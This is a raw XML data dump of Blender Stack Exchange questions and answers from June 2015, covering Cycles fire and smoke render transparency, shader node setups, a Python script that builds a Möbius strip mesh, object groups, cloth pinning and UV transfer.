  <row Id="32961" PostTypeId="1" AcceptedAnswerId="32968" CreationDate="2015-06-25T08:25:26.827" Score="2" ViewCount="1450" Body="&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://pasteall.org/blend/36740&quot; rel=&quot;nofollow noreferrer&quot;&gt;My .blend file can be found here.&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I view the simulation in the viewport, it looks normal, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1J5GP.png&quot; alt=&quot;viewport&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I view it in the render preview with &lt;kbd&gt;SHIFT+Z&lt;/kbd&gt; viewport, it looks perfect:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XbElh.png&quot; alt=&quot;render preview&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I render with &lt;kbd&gt;F12&lt;/kbd&gt;, it's strangely transparent and looks odd!:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k9awG.png&quot; alt=&quot;final render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my node setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SIixy.png&quot; alt=&quot;nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, try viewing &lt;a href=&quot;http://imgur.com/KracAl6,cNSfuXg,mckUQUr#1&quot; rel=&quot;nofollow noreferrer&quot;&gt;the images on imgur&lt;/a&gt; directly. It's more apparent what the problem is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ignore the funky flow shape. Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="7806" LastActivityDate="2015-06-25T13:30:15.433" Title="Smoke+fire wispy and transparent in render, but fine in render preview" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ClosedDate="2015-06-25T14:28:45.360" ContentLicense="CC BY-SA 3.0" />
  <row Id="32962" PostTypeId="1" CreationDate="2015-06-25T08:54:20.987" Score="1" ViewCount="475" Body="&lt;p&gt;I textured a detail in 3DCoat using a 3DCoat new feature called &quot;Smart Materials&quot;. I exported a color/specular/gloss maps. I'm trying to replicate the look i get in 3DCoat inside Cycles render with the textures i got, but failing to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the correct node setup to get results close to what i see in 3DCoat?&lt;/p&gt;&#xA;" OwnerUserId="12973" LastActivityDate="2015-06-25T08:54:20.987" Title="What is the correct way of using specular and gloss textures made by 3DCoat 4.5 &quot;Smart Materials&quot; in Cycles render?" Tags="&lt;cycles-render-engine&gt;&lt;shaders&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32963" PostTypeId="1" AcceptedAnswerId="34841" CreationDate="2015-06-25T11:19:35.527" Score="6" ViewCount="410" Body="&lt;p&gt;Here is a handy mobius strip. Mathematically it has one surface, but in Blender it's just a twisted flat mesh stitched together carefully. I added some icospheres as breadcrumbs to guide the eye. I am going to try to add some patterning to the &quot;surface&quot;, either a color gradient or a UV-map in the future. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, right now, I am wondering if using backfacing in nodes as @BenSimonds shows in the second answer &lt;a href=&quot;https://blender.stackexchange.com/questions/19548/backfaces-give-strange-results-with-fresnel-node-in-cycles&quot;&gt;here&lt;/a&gt; is going to be robust, or if I should just get used to making my 2D surfaces as really thin 3D double-surfaces (e.g. a flattened tube in this case) and avoid any potential future problems. There may be some experience out there about things that can go wrong here that I can't find with google.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: surfaces will be pretty complicated, and making them thin 3D shapes will be tricky - this is a simple example for discussion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BgFYk.gif&quot; alt=&quot;blueish mobius strip&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import numpy as np&#xA;import bpy&#xA;&#xA;R,   W  = 2.0, 1.0&#xA;nth, nw = 120, 9&#xA;&#xA;th = np.linspace(-0.5*np.pi, 1.5*np.pi, nth+1)[:-1][:,None]&#xA;&#xA;w = np.linspace(-0.5*W, 0.5*W, nw)[None,:]&#xA;&#xA;phi = 0.5*np.pi*np.cos(th.clip(0.0, np.pi))&#xA;&#xA;x = (R + w*np.cos(phi)) * np.cos(th)&#xA;y = (R + w*np.cos(phi)) * np.sin(th)&#xA;z = (0 + w*np.sin(phi))&#xA;&#xA;nx = np.cos(th)*np.sin(phi)&#xA;ny = np.sin(th)*np.sin(phi)&#xA;nz = -np.cos(phi)&#xA;&#xA;verts0 = [tuple(thing) for thing in zip(x.flatten(), y.flatten(), z.flatten())]&#xA;faces0 = []&#xA;&#xA;for ith in range(nth-1):&#xA;    for iw in range(nw-1):&#xA;        v1 = nw*ith + iw&#xA;        v2 = v1 + 1&#xA;        v3 = v2 + nw&#xA;        v4 = v3 - 1&#xA;        faces0.append((v1, v2, v3, v4))&#xA;&#xA;for iw in range(nw-1):&#xA;    v1 = nw*(ith-2) + iw&#xA;    v2 = v1 + 1&#xA;    v3 = nw*0 + nw-2 - iw # last one is sideways 'cause it's a mobius!&#xA;    v4 = v3 + 1&#xA;    faces0.append((v1, v2, v3, v4))&#xA;&#xA;blueish = bpy.data.materials.new(&quot;BLUEISH&quot;)&#xA;blueish.diffuse_color = (0.1, 0.3, 1.0)&#xA;blueish.specular_color = (200, 1.0, 100) # CHANGE THIS!&#xA;&#xA;mobi_mesh_0 = bpy.data.meshes.new('mobi0')&#xA;mobi_obj_0 = bpy.data.objects.new('mobi0', mobi_mesh_0)&#xA;&#xA;bpy.context.scene.objects.link(mobi_obj_0)&#xA;mobi_mesh_0.from_pydata(verts0, [], faces0)&#xA;&#xA;mobi_obj_0.active_material = blueish&#xA;&#xA;bpy.data.objects['mobi0'].select = False&#xA;bpy.data.objects['mobi0'].select = True&#xA;&#xA;bpy.ops.object.shade_smooth()&#xA;&#xA;d = 0.11&#xA;for i in range(0, nth, 5):&#xA;    xp = x[i,4] + d*nx[i]&#xA;    yp = y[i,4] + d*ny[i]&#xA;    zp = z[i,4] + d*nz[i]&#xA;    q = bpy.ops.mesh.primitive_ico_sphere_add(size=0.1, location=(xp, yp, zp))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5334" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-07-31T00:26:45.460" Title="Which is the best way to generate 2D mathematical surfaces with a different color each side" Tags="&lt;mesh&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32964" PostTypeId="2" ParentId="32900" CreationDate="2015-06-25T12:41:17.067" Score="3" Body="&lt;p&gt;It looks like alpha simply isn't modelled for emissive volumes in the render. This makes sense because it's an addition rather than an absorption. If the final image is treated as pre-multiplied then alpha simply multiplies the background colour and it works. Perhaps this is what's intended in the current implementation? Otherwise I guess it could be faked by dividing the emission component by the final alpha value, although as colour is clamped this would break the hue for bright emissive volumes. Maybe tone mapping could lessen the effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I'll try to get some positive alpha value for the emissive volume parts of a render...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my test scene with two intersecting cubes. One with an emissive volume and the other with absorption:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A screenshot from (left) the 3D view and (right) the render.&lt;br/&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/dzZZZm.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/OQUw5m.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Attempt 1&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I first tried to reconstruct the alpha for the emissive cube. I figured I'd guess the emissive colour is close to one and the alpha value is then close to the average colour value. Then merge the emissive alpha and real alpha with a maximum node. The gamma node is there because this didn't work so well and needed tweaking:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kbGXN.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;br/&gt;&lt;sup&gt;yes, I found the &quot;set alpha&quot; node but it was too late&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ec7m4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Attempt 2&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The second approach was to render with a white background and then black. The difference should indicate any transparent parts of the scene. I'm still not entirely sure why but until I clamped the white background render (with the mix node) the subtraction gave no difference even though it was visually different. The result doesn't look as good as the previous method even though I thought it'd be more accurate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0jZMO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/59K4o.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Attempt 3&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The key here is multiplying the final image by alpha and taking the difference in colour to get just the emissive intensity in the transparent parts. Then adding that amount of alpha to the original.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iWDhu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MBf6d.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Comparing this to the 3D view render below shows some colour issues. This is caused by alpha scaling the colour when its meant to be pre-multiplied. I tried a few tricks like the division I mentioned earlier but couldn't get anything that looked any better. The emissive cube looks pretty good, without alpha continuity issues in the previous attempts, although a little darker and more transparent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LNEJI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1713" LastEditorUserId="1713" LastEditDate="2015-06-25T14:24:49.570" LastActivityDate="2015-06-25T14:24:49.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32965" PostTypeId="1" AcceptedAnswerId="32981" CreationDate="2015-06-25T12:53:21.360" Score="2" ViewCount="1462" Body="&lt;p&gt;I loaded my background images to my model and placed them where I need them to be. I could not finish my project at that moment, so I saved it in hopes that I could return to it later. I opened the saved file and both the front view and side view images weren't there. However, all my settings stayed the same. My background images were still saved as datablocks in the blend file, but they wouldn't appear anywhere in the 3D view port. Why are my background images not displaying?&lt;/p&gt;&#xA;" OwnerUserId="15223" LastEditorUserId="5705" LastEditDate="2015-07-25T18:00:24.960" LastActivityDate="2020-05-14T19:44:20.660" Title="Viewport background images disappeared when .blend file closed and opened" Tags="&lt;3d-view&gt;&lt;image&gt;&lt;blend-files&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32966" PostTypeId="1" CreationDate="2015-06-25T13:10:49.217" Score="6" ViewCount="9518" Body="&lt;p&gt;How do I remove one object from a group hierarchy? I don't want to delete it, just remove it from one specific group.&lt;/p&gt;&#xA;" OwnerUserId="15225" LastActivityDate="2015-06-25T22:37:50.437" Title="How to remove object from group?" Tags="&lt;groups&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32967" PostTypeId="2" ParentId="32966" CreationDate="2015-06-25T13:14:14.853" Score="10" Body="&lt;p&gt;Found it: &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt; does &quot;Remove From Group&quot;.&lt;/p&gt;&#xA;" OwnerUserId="15225" LastEditorUserId="241" LastEditDate="2015-06-25T13:15:19.833" LastActivityDate="2015-06-25T13:15:19.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32968" PostTypeId="2" ParentId="32961" CreationDate="2015-06-25T13:30:15.433" Score="2" Body="&lt;p&gt;Unfortunately, (as mentioned in the linked thread), this issue is a &lt;strong&gt;bug&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a workaround however, which isn't ideal or 100% polished, but its a quick and dirty method to get the job done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; As you can see in the screenshot, I have the same issue (&lt;strong&gt;Note:&lt;/strong&gt; This bug only applies to the 'Fire' flow type, the 'Fire &amp;amp; Smoke' type renders without issues).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5ENMU.png&quot; alt=&quot;Image 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; Begin by ensuring that &lt;code&gt;Transparent&lt;/code&gt; is checked under &lt;code&gt;Film&lt;/code&gt; in the Render Properties Panel, and also that the PNG Type is set to &lt;code&gt;RGBA&lt;/code&gt; in &lt;code&gt;Output&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sPwcA.png&quot; alt=&quot;Image 2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt; Next add a large plane behind the fire object. Ensure that it is wider than the bounds of the camera and is far enough back from the fire object as not to cast light onto it. Give it a simple deep blue emission shader, with strength set to 1. (&lt;strong&gt;Note:&lt;/strong&gt; I've noticed a bug here in 2.74 whereby if there is an object behind the viewport display of the smoke and fire, it wont dispay properly. Don't worry though, this doesn't seem to affect the renders.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QmO5s.png&quot; alt=&quot;Image 3&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4.&lt;/strong&gt; Render the image and jump on into the &lt;code&gt;Compositing&lt;/code&gt; Screen Layout. Check the &lt;code&gt;Use Nodes&lt;/code&gt;, &lt;code&gt;Free Unused&lt;/code&gt;, and &lt;code&gt;Backdrop&lt;/code&gt; boxes below the Node Editor, and add in a &lt;code&gt;Viewer&lt;/code&gt; node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mCMEF.png&quot; alt=&quot;Image 4&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;5.&lt;/strong&gt; Hit &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; and go &lt;em&gt;Matte&lt;/em&gt;&gt;&lt;em&gt;Keying&lt;/em&gt;, add this to the Node tree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Go7ya.png&quot; alt=&quot;Image 5&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XIQjr.png&quot; alt=&quot;Image 6&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;6.&lt;/strong&gt; In the &lt;code&gt;Key Colour&lt;/code&gt; setting, use the Eye Dropper tool to sample the blue from the original render, this will mask out all hues from the render which display the selected colour. If the blue appears black, it's likely that you don't have the &lt;code&gt;Use Alpha&lt;/code&gt; check-box ticked on the &lt;code&gt;Viewer&lt;/code&gt; and &lt;code&gt;Composite&lt;/code&gt; nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PQYcm.png&quot; alt=&quot;Image 7&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;7.&lt;/strong&gt; This should update the render automatically in the bottom left &lt;code&gt;Image Editor&lt;/code&gt;. If it has simply hover over the transparent render and hit &lt;kbd&gt;F3&lt;/kbd&gt;. If not just give it another render, ensuring that the &lt;code&gt;Compositing&lt;/code&gt; check-box is ticked under the &lt;code&gt;Post Processing&lt;/code&gt; tab in the Render Properties Panel, and it should display the composite fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tZ7zR.png&quot; alt=&quot;Image 8&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Et Voila&lt;/em&gt;, the final render! :) As I mentioned it's not a perfect solution, and where the blue was subtracted from the edge of the flame it has become slightly pink tinted, but for all intensive purposes it works okay, and colour correction could be applied either in Blender or in Photoshop/Gimp. Finger's crossed the bugs'll be fixed in the next release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wm9z1.png&quot; alt=&quot;Image 9&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15132" LastActivityDate="2015-06-25T13:30:15.433" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32969" PostTypeId="2" ParentId="32966" CreationDate="2015-06-25T13:31:35.840" Score="7" Body="&lt;p&gt;You can manage an object's groups from the &lt;em&gt;object properties&lt;/em&gt; panel under the &lt;em&gt;groups&lt;/em&gt; rollout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/chHQA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These settings allow you to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Remove the object from a specific group by clicking the &lt;kbd&gt;x&lt;/kbd&gt; next to the group's name.&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Re-name any of the groups the object belongs to by simply typing in the text box with the group's name.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Only allow the object to be visible on certain layers when duplicated (via particle system, dupli-verts, etc.) using the &lt;em&gt;dupli-visibility&lt;/em&gt; layer selector.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Offset the object when duplicated using the x, y, z spinners.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2015-06-25T22:37:50.437" LastActivityDate="2015-06-25T22:37:50.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32971" PostTypeId="2" ParentId="32900" CreationDate="2015-06-25T13:53:02.173" Score="-2" Body="&lt;p&gt;Unfortunately, (as you mentionned), this issue is a &lt;strong&gt;bug&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a workaround however (as @NoviceInDisguise mentioned), which isn't ideal or 100% polished, but its a quick and dirty method to get the job done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; As you can see in the screenshot, I have the same issue (&lt;strong&gt;Note:&lt;/strong&gt; This bug only applies to the 'Fire' flow type, the 'Fire &amp;amp; Smoke' type renders without issues).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5ENMU.png&quot; alt=&quot;Image 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; Begin by ensuring that &lt;code&gt;Transparent&lt;/code&gt; is checked under &lt;code&gt;Film&lt;/code&gt; in the Render Properties Panel, and also that the PNG Type is set to &lt;code&gt;RGBA&lt;/code&gt; in &lt;code&gt;Output&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sPwcA.png&quot; alt=&quot;Image 2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt; Next add a large plane behind the fire object. Ensure that it is wider than the bounds of the camera and is far enough back from the fire object as not to cast light onto it. Give it a simple deep blue emission shader, with strength set to 1. (&lt;strong&gt;Note:&lt;/strong&gt; I've noticed a bug here in 2.74 whereby if there is an object behind the viewport display of the smoke and fire, it wont dispay properly. Don't worry though, this doesn't seem to affect the renders.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QmO5s.png&quot; alt=&quot;Image 3&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4.&lt;/strong&gt; Render the image and jump on into the &lt;code&gt;Compositing&lt;/code&gt; Screen Layout. Check the &lt;code&gt;Use Nodes&lt;/code&gt;, &lt;code&gt;Free Unused&lt;/code&gt;, and &lt;code&gt;Backdrop&lt;/code&gt; boxes below the Node Editor, and add in a &lt;code&gt;Viewer&lt;/code&gt; node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mCMEF.png&quot; alt=&quot;Image 4&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;5.&lt;/strong&gt; Hit &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; and go &lt;em&gt;Matte&lt;/em&gt;&gt;&lt;em&gt;Keying&lt;/em&gt;, add this to the Node tree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Go7ya.png&quot; alt=&quot;Image 5&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XIQjr.png&quot; alt=&quot;Image 6&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;6.&lt;/strong&gt; In the &lt;code&gt;Key Colour&lt;/code&gt; setting, use the Eye Dropper tool to sample the blue from the original render, this will mask out all hues from the render which display the selected colour. If the blue appears black, it's likely that you don't have the &lt;code&gt;Use Alpha&lt;/code&gt; check-box ticked on the &lt;code&gt;Viewer&lt;/code&gt; and &lt;code&gt;Composite&lt;/code&gt; nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PQYcm.png&quot; alt=&quot;Image 7&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;7.&lt;/strong&gt; This should update the render automatically in the bottom left &lt;code&gt;Image Editor&lt;/code&gt;. If it has simply hover over the transparent render and hit &lt;kbd&gt;F3&lt;/kbd&gt;. If not just give it another render, ensuring that the &lt;code&gt;Compositing&lt;/code&gt; check-box is ticked under the &lt;code&gt;Post Processing&lt;/code&gt; tab in the Render Properties Panel, and it should display the composite fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tZ7zR.png&quot; alt=&quot;Image 8&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Et Voila&lt;/em&gt;, the final render! :) As I mentioned it's not a perfect solution, and where the blue was subtracted from the edge of the flame it has become slightly pink tinted, but for all intensive purposes it works okay, and colour correction could be applied either in Blender or in Photoshop/Gimp. Finger's crossed the bugs'll be fixed in the next release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wm9z1.png&quot; alt=&quot;Image 9&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; I also posted this workaround in the following thread... &lt;a href=&quot;https://blender.stackexchange.com/questions/32961/smokefire-wispy-and-transparent-in-render-but-fine-in-render-preview/32968#32968&quot;&gt;Smoke+fire wispy and transparent in render, but fine in render preview&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15132" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2015-06-25T13:53:02.173" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32972" PostTypeId="1" AcceptedAnswerId="32979" CreationDate="2015-06-25T14:16:02.737" Score="8" ViewCount="10168" Body="&lt;p&gt;I'm having trouble figuring out how to properly pin cloth to a moving object. The cloth is acting as a mane for a horse and therefore needs to be pinned in multiple places. I've looked at several tutorials but can't really 'transfer' the technique used to get the result I want. How can I pin cloth to multiple points on a moving model?&lt;/p&gt;&#xA;" OwnerUserId="15227" LastEditorUserId="5426" LastEditDate="2015-06-25T14:20:41.353" LastActivityDate="2015-06-25T17:30:29.410" Title="Pinning cloth to moving model" Tags="&lt;cloth-simulation&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32973" PostTypeId="1" AcceptedAnswerId="32974" CreationDate="2015-06-25T14:35:07.460" Score="3" ViewCount="1597" Body="&lt;p&gt;I have a hair object, and I wonder how it was done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e1KX6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this hair composed by planes? &#xA;And if yes, are they double-sided? To me it looks double-sided because it is also visible from the other side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also uploaded the project &lt;a href=&quot;http://www.onscreensoftware.de/challengerhair.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; if somebody needs to take a closer look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much!&lt;/p&gt;&#xA;" OwnerUserId="14968" LastActivityDate="2015-06-25T14:41:46.330" Title="Is this is double-sided plane?" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32974" PostTypeId="2" ParentId="32973" CreationDate="2015-06-25T14:37:36.727" Score="4" Body="&lt;p&gt;No they are not double sided. You can check this by going to the &lt;code&gt;N&lt;/code&gt; menu and checking &lt;em&gt;Backface Culling&lt;/em&gt; under &lt;em&gt;Shading&lt;/em&gt; options. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KgL9i.gif&quot; alt=&quot;Backface Culling&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-06-25T14:41:46.330" LastActivityDate="2015-06-25T14:41:46.330" CommentCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="32975" PostTypeId="1" CreationDate="2015-06-25T14:45:14.343" Score="3" ViewCount="1748" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iQnKz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose I have the following camera perspective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see some of the Cube vertices are visible from the camera, others are not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way from python to detect if a certain vertex is in the camera field of view or not?&lt;/p&gt;&#xA;" OwnerUserId="11026" LastEditorUserId="47" LastEditDate="2015-06-26T10:04:35.023" LastActivityDate="2020-01-07T00:24:49.083" Title="Python: Check if vertex is on camera field of view" Tags="&lt;python&gt;&lt;rendering&gt;&lt;camera&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ClosedDate="2015-06-30T03:39:33.143" ContentLicense="CC BY-SA 3.0" />
  <row Id="32976" PostTypeId="1" AcceptedAnswerId="34608" CreationDate="2015-06-25T15:24:43.687" Score="3" ViewCount="5560" Body="&lt;p&gt;I having problem transferring UV maps from one object to another. Objects are identical. Please see the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1)Object with good UV on the right, selected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pTtaZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2)Object that i want transfer UV to. You can see the result after transfer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DeX6R.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What may be the problem?&#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/296/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=296&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12973" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2016-10-26T03:26:55.213" Title="Transfer UV maps not working properly" Tags="&lt;uv&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
